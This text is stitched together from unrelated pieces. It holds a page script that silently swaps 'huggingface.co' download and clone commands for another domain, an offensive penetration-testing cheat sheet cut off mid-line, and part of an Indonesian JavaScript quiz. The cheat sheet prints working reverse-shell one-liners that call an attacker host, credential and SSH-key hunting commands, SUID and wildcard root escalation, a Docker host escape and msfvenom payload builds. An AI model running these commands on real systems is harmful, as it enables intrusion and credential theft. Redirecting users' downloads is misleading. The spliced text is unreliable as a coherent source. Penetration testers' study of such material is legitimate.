{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \n\n```\n\n* Simple remote shell using Java (if CFEXECUTE is disabled) \n```\n\n\n\n\n\n```\n\n### dir busting\n\n* generic dirbusting\n`gobuster -u targetIP -w /usr/share/dirb/wordlists/big.txt`\n\n* fuzz some cgi\n`gobuster -u targetIP -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s 200`\n\n## Reverse Shell Howto\n\n* Bash \n`bash -i >& /dev/tcp/yourIP/4444 0>&1`\n\n* Perl Linux \n`perl -e 'use Socket;$i=\"yourIP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'`\n\n* Perl Windows \n`perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"yourIP:4444\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'`\n\n\n* Python \n`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourIP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`\n\n* PHP \n`php -r '$sock=fsockopen(\"yourIP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'`\n\n* Ruby \n`ruby -rsocket -e'f=TCPSocket.open(\"yourIP\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'`\n\n* Java (Linux) \n```\nr = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/yourIP/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()\n```\n\n* Groovy\n```\nString host=\"localhost\";\nint port=8044;\nString cmd=\"cmd.exe\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();\nSocket s=new Socket(host,port);\nInputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();\nOutputStream po=p.getOutputStream(),so=s.getOutputStream();\nwhile(!s.isClosed()){while(pi.available()>0)so.write(pi.read());\nwhile(pe.available()>0)so.write(pe.read());\nwhile(si.available()>0)po.write(si.read());\nso.flush();po.flush();\nThread.sleep(50);\ntry {p.exitValue();\nbreak;\n}catch (Exception e){}};\np.destroy();\ns.close();\n\n```\n\n* xterm\n\n`xterm -display yourIP:1`\n\nAnd on your side authorize the connection with `xhost +targetIp` and catch it with `Xnest :1`\n\n* socat\n\nListener:\n```socat file:`tty`,raw,echo=0 yourIP:4444```\n\ntarget:\n`socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:yourIP:4444`\n\n## Interactive Shell Upgrade Tricks\n\n* Python (Linux) \n`python -c 'import pty; pty.spawn(\"/bin/bash\")' `\n\nThen Ctrl-Z back to local shell and `stty raw -echo`, then back to remote shell with `fg` and set terminal with `export TERM=xterm`.\n\n* Python (Windows) \n`c:\\python26\\python.exe -c 'import pty; pty.spawn(\"c:\\\\windows\\\\system32\\\\cmd.exe\")' `\n\n* Expect\n\nsh.exp\n```\n#!/usr/bin/expect\nspawn sh\ninteract\n```\n\n* Script \n`script /dev/null`\n\n\n## Inside Windows\n\n* Get version \n`systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"`\n\n* Get users \n`net users`\n\n* Get user info \n`net user `\n\n\n* Check local connections and listening ports (compare with nmap scan to see if there are any hidden ports) \n`netstat -ano`\n\n* Firewall status \n`netsh firewall show state` \n`netsh firewall show config`\n\n* Scheduled tasks \nList - `schtasks /query /fo LIST /v` \nCreate - `schtasks /Create /TN mytask /SC MINUTE /MO 1 /TR \"mycommands\"` \nRun - `schtasks /Run /TN mytask` \nDelete - `schtasks /Delete /TN mytask` \n\n* Running tasks \nList - `tasklist /SVC` \nKill - `taskkill /IM /F` \nKill - `taskkill /PID /F` \n\n* Services \nList - `net start` \nLong name to key name `sc getkeyname \"long name\"` \nDetails - `sc qc ` \nConfig - `sc config ` \n\n* Low hanging fruits to grab \n```\nc:\\sysprep.inf\nc:\\sysprep\\sysprep.xml\n%WINDIR%\\Panther\\Unattend\\Unattended.xml\n%WINDIR%\\Panther\\Unattended.xml\n```\n\n* Installers are running as elevated? \n`reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated` \n`reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated` \n\n* Find interesting files \n`dir /s *pass* == *cred* == *vnc* == *.config*` \n`findstr /si password *.xml *.ini *.txt` \n\n* Find interesting registry entries \n`reg query HKLM /f password /t REG_SZ /s` \n`reg query HKCU /f password /t REG_SZ /s` \n\n* Permissions \nCheck detail on service - `accesschk.exe /accepteula -ucqv ` \nFind modifiable services - `accesschk.exe /accepteula -uwcqv \"Authenticated Users\" *` \n `accesschk.exe /accepteula -uwcqv \"Users\" *` \nFolder permissions - `accesschk.exe -dqv ` \n`cacls ` \n`icacls /dev/null | grep -w 'nmap|perl|awk|find|bash|sh|man|more|less|vi|vim|nc|netcat|python|ruby|lua|irb' | xargs -r ls -la 2>/dev/null` \n\nHistory - \n`history` \n\nEnv vars \n`env` \n\nAvailable shells \n`cat /etc/shells\t` \n \nSUID files \n`find / -perm -4000 -type f 2>/dev/null` \n\nSUID owned by root \n`find / -uid 0 -perm -4000 -type f 2>/dev/null` \n\nGUID files \n`find / -perm -2000 -type f 2>/dev/null\t` \n\nWorld writable \n`find / -perm -2 -type f 2>/dev/null` \n\nWorld writable executed \n`find / ! -path \"*/proc/*\" -perm -2 -type f -print 2>/dev/null\t` \n\nWorld writable dirs \n`find / -perm -2 -type d 2>/dev/null` \n\nrhost files \n`find /home –name *.rhosts -print 2>/dev/null\t` \n\nPlan files \n`find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;\t` \n\nhosts.equiv \n`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;\t` \n\nCan we peek at /root? \n`ls -ahlR /root/\t` \n\nFind ssh files \n`find / -name \"id_dsa*\" -o -name \"id_rsa*\" -o -name \"known_hosts\" -o -name \"authorized_hosts\" -o -name \"authorized_keys\" 2>/dev/null |xargs -r ls -la` \n\nInetd \n`ls -la /usr/sbin/in.*\t` \n\nGrep logs for loot \n`grep -l -i pass /var/log/*.log 2>/dev/null\t` \n\nWhat do we have in logs \n`find /var/log -type f -exec ls -la {} ; 2>/dev/null\t` \n\nFind conf files in /etc \n`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null\t` \n\nas above \n`ls -la /etc/*.conf\t` \n\nList open files \n`lsof -i -n\t` \n\nCan we read root mail? \n`head /var/mail/root\t` \n\nWhat is running as root? \n`ps aux | grep root\t` \n\nLookup paths to running files \n`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'` \n\nExports and permissions of NFS \n`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null\t` \n\nList sched jobs \n`ls -la /etc/cron*\t` \n\nList open connections (run with sudo/as root for more results) \n`lsof -i` \n\nInstalled pkgs:\n`dpkg -l` (debian), `rpm -qa` (RH) \n\nsudo version? \n`sudo -V` \n\nAvailable compilers \n`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` \n\nIf you find a privileged bash shell which uses wildcard when iterating over files on folder you can create files in note that you can create files which names will be parsed as arguments to the command that is used to iterate over said files. This opens up interesting attack vector, ie when there's a for loop and inside the loop script executes for example `cp` on each file. If you create file with `touch -- '--someargument'` it will be passed to the command as `--someargument`.\nGood example is if such script copies files somewhere. Adding a file named `--preserve=mode` and also copying `/bin/bash` in same folder and changing its mode to `4755` will result the script copying bash as a root with suid permissions. Executing that copy of bash with `bash -p` will result in bash running as root.\n \n### Docker tips\nSince most likely Docker runs as root if you can execute docker commands as unpriviledged user you can very likely use Docker's privs instead.\n\n`docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash` - note that the root folder from host is mounted as `/host`. You'll also see all processes running on host and be connected to same NICs.\n\nYou may want to look into escaping UTS and IPC namespacing with `--uts=host --ipc=host`\n\n### Upload files using cUrl with WebDAV\n```\ncurl -T nc.exe http://targetIP/nc.txt\ncurl -X MOVE -v -H \"Destination:http://targetIP/nc.exe\" http://targetIP/nc.txt\n```\n\n## msfvenom\n\n### List payloads\nmsfvenom -l\n\n### Binaries\n\n* Linux \n`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf`\n\n* Windows \n`msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe`\n\n* Mac \n`msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho`\n\n### Web Payloads\n\n* PHP \n`msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php`\n`cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php`\n\n* ASP \n`msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp`\n\n* JSP \n`msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp`\n\n* WAR \n`msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war`\n\n### Scripting Payloads\n\n* Python \n`msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py`\n\n* Bash \n`msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh`\n\n* Perl \n`msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl`\n\n### Shellcode\nFor all shellcode see `msfvenom –help-formats` for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.\n\n* Linux Based Shellcode \n`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f `\n\n* Windows Based Shellcode \n`msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f `\n\n* Mac Based Shellcode \n`msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f `\n\n## Shellshock\n\n* CVE-2014-6271 \n`env X='() { :; }; echo \"CVE-2014-6271 vulnerable\"' bash -c id`\n\n* CVE-2014-7169 \n`env X='() { (a)=>\\' bash -c \"echo date\"; cat echo`\n\n* CVE-2014-7186 \n`bash -c 'true <
\n\n---\n\n
Lihat 20 Terjemahan yang tersedia 🇪🇸🇮🇹🇩🇪 🇫🇷🇷🇺🇨🇳🇵🇹🇽🇰\n

\n\n- [🇸🇦 العربية](../ar-AR/README_AR.md)\n- [🇪🇬 اللغة العامية](../ar-EG/README_ar-EG.md)\n- [🇧🇦 Bosanski](../bs-BS/README-bs_BS.md)\n- [🇩🇪 Deutsch](../de-DE/README.md)\n- [🇬🇧 English](../README.md)\n- [🇪🇸 Español](../es-ES/README-ES.md)\n- [🇫🇷 Français](../fr-FR/README_fr-FR.md)\n- [🇮🇹 Italiano](../it-IT/README.md)\n- [🇯🇵 日本語](../ja-JA/README-ja_JA.md)\n- [🇰🇷 한국어](../ko-KR/README-ko_KR.md)\n- [🇳🇱 Nederlands](../nl-NL/README.md)\n- [🇵🇱 Polski](../pl-PL/README.md)\n- [🇧🇷 Português Brasil](../pt-BR/README_pt_BR.md)\n- [🇷🇺 Русский](../ru-RU/README.md)\n- [🇽🇰 Shqip](../sq-KS/README_sq_KS.md)\n- [🇹🇭 ไทย](../th-TH/README-th_TH.md)\n- [🇹🇷 Türkçe](../tr-TR/README-tr_TR.md)\n- [🇺🇦 Українська мова](../uk-UA/README.md)\n- [🇻🇳 Tiếng Việt](../vi-VI/README-vi.md)\n- [🇨🇳 简体中文](../zh-CN/README-zh_CN.md)\n- [🇹🇼 繁體中文](../zh-TW/README_zh-TW.md)\n\n

\n
\n\n---\n\n###### 1. Apa yang akan tampil?\n\n```javascript\nfunction sayHi() {\n console.log(name);\n console.log(age);\n var name = 'Lydia';\n let age = 21;\n}\n\nsayHi();\n```\n\n- A: `Lydia` dan `undefined`\n- B: `Lydia` dan `ReferenceError`\n- C: `ReferenceError` dan `21`\n- D: `undefined` dan `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nDi dalam function, kita membuat sebuah variabel `name` dan variabel tersebut di deklarasikan menggunakan `var`. Artinya variable tersebut di hoisting (dalam fase pembuatan ini menggunakan memory penyimpanan) dengan isi standar-nya `undefined`, saat javascript mengeksekusi baris code pembuatan variabel-nya. variabel `name` isinya masih undefined, jadi isi dari variabel tersebut `undefined`\n\nMendeklarasikan varibel menggunakan `let` (dan `const`) juga terkena hoisting, tidak seperti `var`, variabel declaration `let` dan `const` tidak ditentukan isi standar-nya. `let` dan `const` tidak bisa diakses sebelum di tentukan dulu isi-nya. Kejadian ini disebut \"temporal dead zone\". Saat kita mencoba memanggil variabel yang belum ditentukan isi-nya, Javascript mengeluarkan error `ReferenceError`.\n

\n
\n\n---\n\n###### 2. Apa yang akan tampil?\n\n```javascript\nfor (var i = 0; i < 3; i++) {\n setTimeout(() => console.log(i), 1);\n}\n\nfor (let i = 0; i < 3; i++) {\n setTimeout(() => console.log(i), 1);\n}\n```\n\n- A: `0 1 2` and `0 1 2`\n- B: `0 1 2` and `3 3 3`\n- C: `3 3 3` and `0 1 2`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nKarena antrean peristiwa di JavaScript, fungsi callback `setTimeout` disebut _after_ loop telah dijalankan. Karena variabel `i` di loop pertama dideklarasikan menggunakan kata kunci` var`, nilai ini adalah global. Selama perulangan, kita menambah nilai `i` sebesar `1` setiap kali, menggunakan operator unary` ++ `. Pada saat fungsi callback `setTimeout` dipanggil,` i` sama dengan `3` di contoh pertama.\n\nPada perulangan kedua, variabel `i` dideklarasikan menggunakan kata kunci` let`: variabel yang dideklarasikan dengan kata kunci `let` (dan` const`) memiliki cakupan blok (blok adalah apa saja di antara `{}`). Selama setiap iterasi, `i` akan memiliki nilai baru, dan setiap nilai dicakup di dalam loop.\n

\n
\n\n---\n\n###### 3. Apa yang akan tampil?\n\n```javascript\nconst shape = {\n radius: 10,\n diameter() {\n return this.radius * 2;\n },\n perimeter: () => 2 * Math.PI * this.radius,\n};\n\nconsole.log(shape.diameter());\nconsole.log(shape.perimeter());\n```\n\n- A: `20` dan `62.83185307179586`\n- B: `20` dan `NaN`\n- C: `20` dan `63`\n- D: `NaN` dan `63`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nPerhatikan pada nilai 'diameter' adalah fungsi biasa, sedangkan nilai 'perimeter' yaitu fungsi panah.\n\nDengan fungsi panah, kata kunci 'this' merujuk ke cakupan sekitarnya saat ini, tidak seperti fungsi biasa. Ini berarti bahwa ketika kita memanggil 'perimeter' itu tidak mengacu pada objek bentuk, tetapi pada lingkup sekitarnya.\n\nTidak ada nilai 'radius' pada objek itu, yang mengembalikan 'tidak ditentukan'.\n\n

\n
\n\n---\n\n###### 4. Apa yang akan tampil?\n\n```javascript\n+true;\n!'Lydia';\n```\n\n- A: `1` dan `false`\n- B: `false` dan `NaN`\n- C: `false` dan `false`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nTia unary plus mencoba mengonversi operan menjadi angka. `true` adalah` 1`, dan `false` adalah` 0`.\n\nString \"'Lydia'` adalah nilai yang benar. Apa yang sebenarnya kami tanyakan adalah \"apakah nilai kebenaran ini salah?\". Ini mengembalikan `salah`.\n\n\n

\n
\n\n---\n\n###### 5. Mana yang benar?\n\n```javascript\nconst bird = {\n size: 'small',\n};\n\nconst mouse = {\n name: 'Mickey',\n small: true,\n};\n```\n\n- A: `mouse.bird.size` tidak benar\n- B: `mouse[bird.size]` tidak benar\n- C: `mouse[bird[\"size\"]]` tidak benar\n- D: Semua jawaban benar\n\n
Jawaban\n

\n\n#### Jawaban: A\nPada JavaScript, semua kunci objek adalah string (kecuali jika itu berupa Simbol). Meskipun kita mungkin tidak mengetiknya sebagai string, tetap saja mereka selalu berubah menjadi string didalamnya.\n\nJavaScript menginterpretasikan (atau membuka) pernyataan-pernyataan. Saat kita menggunakan notasi kurung siku, ia melihat kurung buka pertama `[` dan terus berjalan sampai menemukan kurung tutup `]`. Baru setelah itu akan mengevaluasi pernyataannya. `mouse[bird.size]`: Pertama, ini mengevaluasi `bird.size`, yang mana `\"small\"`. `mouse[\"small\"]` mengembalikan nilai `true`.\n\nNamun, dengan notasi dot (.), hal ini tidak terjadi. `mouse` tidak memiliki kunci dengan nama `bird`, yang menyebabkan `mouse.bird` bernilai `undefined`. Kemudian, kita meminta `size` untuk menggunakan notasi dot (.): `mouse.bird.size`. Kita mengetahui bahwa `mouse.bird` bernilai `undefined`, yang sebenarnya kita minta adalah `undefined.size`. Yang mana hal ini tidak valid, dan akan memunculkan kesalahan yang mirip dengan `Cannot read property \"size\" of undefined`.\n\n

\n
\n\n---\n\n###### 6. Apa yang akan tampil?\n\n```javascript\nlet c = { greeting: 'Hey!' };\nlet d;\n\nd = c;\nc.greeting = 'Hello';\nconsole.log(d.greeting);\n```\n\n- A: `Hello`\n- B: `Hey!`\n- C: `undefined`\n- D: `ReferenceError`\n- E: `TypeError`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nDalam JavaScript, semua objek berinteraksi dengan _reference_ saat menyetelnya agar sama satu sama lain.\n\nPertama, variabel `c` menyimpan nilai ke sebuah objek. Nanti, kita menetapkan `d` dengan referensi yang sama yang dimiliki` c` ke objek.\n\n\n\nSaat Anda mengubah satu objek, Anda mengubah semuanya.\n\n

\n
\n\n---\n\n###### 7. Apa yang akan tampil?\n\n```javascript\nlet a = 3;\nlet b = new Number(3);\nlet c = 3;\n\nconsole.log(a == b);\nconsole.log(a === b);\nconsole.log(b === c);\n```\n\n- A: `true` `false` `true`\n- B: `false` `false` `true`\n- C: `true` `false` `false`\n- D: `false` `true` `true`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\n`new Number()` adalah konstruktor fungsi bawaan pada JavaScript. Meskipun hasilnya terlihat seperti integer, namun sebenarnya itu bukan integer: aslinya memiliki banyak fitur tambahan dan merupakan sebuah objek.\n\nSaat kita menggunakan operator `==`, hal ini hanya akan memeriksa bahwa keduanya memiliki nilai yang sama. Pada kasus ini kedua variabel tersebut memiliki nilai yang sama, yaitu `3`, maka akan mengembalikan nilai `true`.\n\nNamun, saat kita menggunakan operator `===`, operator ini memeriksa bahwa kedua variabel memiliki nilai dan tipe yang sama. Bagaimanapun: `new Number()` bukanlah sebuah integer, ini adalah sebuah **object**. Keduanya akan mengembalikan nilai `false.`\n\n

\n
\n\n---\n\n###### 8. Apa yang akan tampil?\n\n```javascript\nclass Chameleon {\n static colorChange(newColor) {\n this.newColor = newColor;\n return this.newColor;\n }\n\n constructor({ newColor = 'green' } = {}) {\n this.newColor = newColor;\n }\n}\n\nconst freddie = new Chameleon({ newColor: 'purple' });\nconsole.log(freddie.colorChange('orange'));\n```\n\n- A: `orange`\n- B: `purple`\n- C: `green`\n- D: `TypeError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nFungsi `colorChange` adalah statis. Metode statis dirancang hanya dapat aktif pada kontruktor dimana fungsi itu dibuat, dan tidak bisa dibawa ke-turunannya. Kita tahu bahwa `freddie` adalah sebuah turunan, maka fungsi itu tidak bisa turun, dan tidak tersedia pada instance `freddie`: sebuah pesan `TypeError` akan dikembalikan\n\n

\n
\n\n---\n\n###### 9. Apa yang akan tampil?\n\n```javascript\nlet greeting;\ngreetign = {}; // Typo!\nconsole.log(greetign);\n```\n\n- A: `{}`\n- B: `ReferenceError: greetign is not defined`\n- C: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nIni mencatat objek, karena kita baru saja membuat objek kosong di objek global! Saat kita salah mengetik `greeting` sebagai` greetign`, interpreter JS sebenarnya melihat ini sebagai `global.greetign = {}` (atau `window.greetign = {}` di browser).\n\nUntuk menghindari hal ini, kita bisa menggunakan `\" use strict \"`. Ini memastikan bahwa Anda telah mendeklarasikan variabel sebelum menetapkannya dengan apa pun.\n\n

\n
\n\n---\n\n###### 10. Apa yang terjadi jika kita melakukan ini?\n\n```javascript\nfunction bark() {\n console.log('Woof!');\n}\n\nbark.animal = 'dog';\n```\n\n- A: Nothing, this is totally fine!\n- B: `SyntaxError`. You cannot add properties to a function this way.\n- C: `\"Woof\"` gets logged.\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nIni dimungkinkan dalam JavaScript, karena fungsi adalah objek! (Segala sesuatu selain tipe primitif adalah objek)\n\nFungsi adalah jenis objek khusus. Kode yang Anda tulis sendiri bukanlah fungsi sebenarnya. Fungsinya adalah objek dengan properti. Properti ini tidak dapat dipanggil.\n\n

\n
\n\n---\n\n###### 11. Apa yang akan tampil?\n\n```javascript\nfunction Person(firstName, lastName) {\n this.firstName = firstName;\n this.lastName = lastName;\n}\n\nconst member = new Person('Lydia', 'Hallie');\nPerson.getFullName = function() {\n return `${this.firstName} ${this.lastName}`;\n};\n\nconsole.log(member.getFullName());\n```\n\n- A: `TypeError`\n- B: `SyntaxError`\n- C: `Lydia Hallie`\n- D: `undefined` `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nAnda tidak dapat menambahkan properti ke constructor seperti yang Anda lakukan dengan objek biasa. Jika Anda ingin menambahkan fitur ke semua objek sekaligus, Anda harus menggunakan prototipe sebagai gantinya. Jadi dalam kasus ini:\n\n```js\nPerson.prototype.getFullName = function() {\n return `${this.firstName} ${this.lastName}`;\n};\n```\n\nAkan membuat `member.getFullName()` berfungsi. Mengapa ini bermanfaat? Katakanlah kita menambahkan metode ini ke konstruktor itu sendiri. Mungkin tidak setiap instance `Person` membutuhkan metode ini. Ini akan membuang banyak ruang memori, karena mereka masih memiliki properti itu, yang mengambil ruang memori untuk setiap instance. Sebaliknya, jika kita hanya menambahkannya ke prototipe, kita hanya memilikinya di satu tempat di memori, namun mereka semua memiliki akses ke sana!\n\n

\n
\n\n---\n\n###### 12. Apa yang akan tampil?\n\n```javascript\nfunction Person(firstName, lastName) {\n this.firstName = firstName;\n this.lastName = lastName;\n}\n\nconst lydia = new Person('Lydia', 'Hallie');\nconst sarah = Person('Sarah', 'Smith');\n\nconsole.log(lydia);\nconsole.log(sarah);\n```\n\n- A: `Person {firstName: \"Lydia\", lastName: \"Hallie\"}` dan `undefined`\n- B: `Person {firstName: \"Lydia\", lastName: \"Hallie\"}` dan `Person {firstName: \"Sarah\", lastName: \"Smith\"}`\n- C: `Person {firstName: \"Lydia\", lastName: \"Hallie\"}` dan `{}`\n- D:`Person {firstName: \"Lydia\", lastName: \"Hallie\"}` dan `ReferenceError`\n\n
Jawaban\n

